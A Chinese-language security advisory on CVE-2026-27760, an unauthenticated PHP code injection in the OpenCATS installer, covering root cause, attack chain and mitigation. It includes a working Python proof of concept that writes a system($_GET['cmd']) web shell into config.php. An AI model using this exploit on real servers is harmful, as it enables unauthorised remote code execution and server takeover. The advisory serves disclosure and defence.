IPBUF安全漏洞报告
English
CVE-2026-27760 CVSS 8.1 高危

CVE-2026-27760 OpenCATS PHP代码注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-27760
漏洞类型
PHP代码注入
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenCATS

相关标签

RCE代码注入OpenCATSCVE-2026-27760Web安全

漏洞概述

OpenCATS在commit 3002a29之前的版本中存在严重的PHP代码注入漏洞。该漏洞位于安装程序的AJAX端点,允许未经身份验证的攻击者通过向databaseConnectivity参数注入恶意PHP语句来执行任意代码。攻击者只需利用单引号和语句分隔符即可突破config.php中的define()字符串上下文。在安装向导未完成的情况下,注入的代码将持久化并在每次加载页面时执行。

技术细节

该漏洞的根源在于OpenCATS安装程序处理用户输入时存在严重缺陷。具体来说,攻击者可以向`modules/install/ajax/ui.php`端点发送POST请求,并在`databaseConnectivity`参数中构造特定的恶意Payload。由于程序未对该参数的单引号进行转义处理,该参数值会被直接拼接到`config.php`文件的`define()`函数字符串上下文中。攻击者通过注入`');`闭合前面的字符串并结束当前函数调用,随后插入任意恶意的PHP代码。只要系统处于未安装完成的状态,这段持久化在配置文件中的代码就会被Web服务器解析执行。由于`config.php`通常在应用启动时被全局加载,这导致恶意代码在每次页面访问时触发,从而无需认证即可获取服务器控制权。

攻击链分析

STEP 1
侦察
识别互联网上暴露的OpenCATS实例,并确认其安装向导尚未完成(即仍存在install目录)。
STEP 2
漏洞利用
向`/modules/install/ajax/ui.php`发送特制的POST请求,在`databaseConnectivity`参数中注入包含PHP代码的恶意Payload。
STEP 3
代码注入
服务器端脚本将Payload写入`config.php`文件,攻击者利用单引号逃逸字符串限制,将恶意PHP代码持久化存储。
STEP 4
执行代码
访问OpenCATS的任意页面(如首页),触发`config.php`的加载,进而执行攻击者注入的PHP代码,获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (example) target_url = "http://target.com/opencats/modules/install/ajax/ui.php" # The payload attempts to break out of the define() function context in config.php # It closes the string with a single quote, ends the statement with a semicolon, and adds a system command payload = "'); system($_GET['cmd']); //" data = { "action": "databaseConnectivity", "databaseConnectivity": payload } try: response = requests.post(target_url, data=data) if response.status_code == 200: print("Payload sent successfully. Check config.php for injection.") print("Trigger the payload by visiting: http://target.com/opencats/index.php?cmd=whoami") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")

影响范围

OpenCATS < commit 3002a29

防御指南

临时缓解措施
建议立即检查服务器上是否存在OpenCATS的安装目录。如果发现安装向导处于未完成状态,应立即通过防火墙限制对该目录的访问,或者直接删除该目录以阻断攻击面。在未升级修复前,确保只有受信任的内网IP可以访问相关接口。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表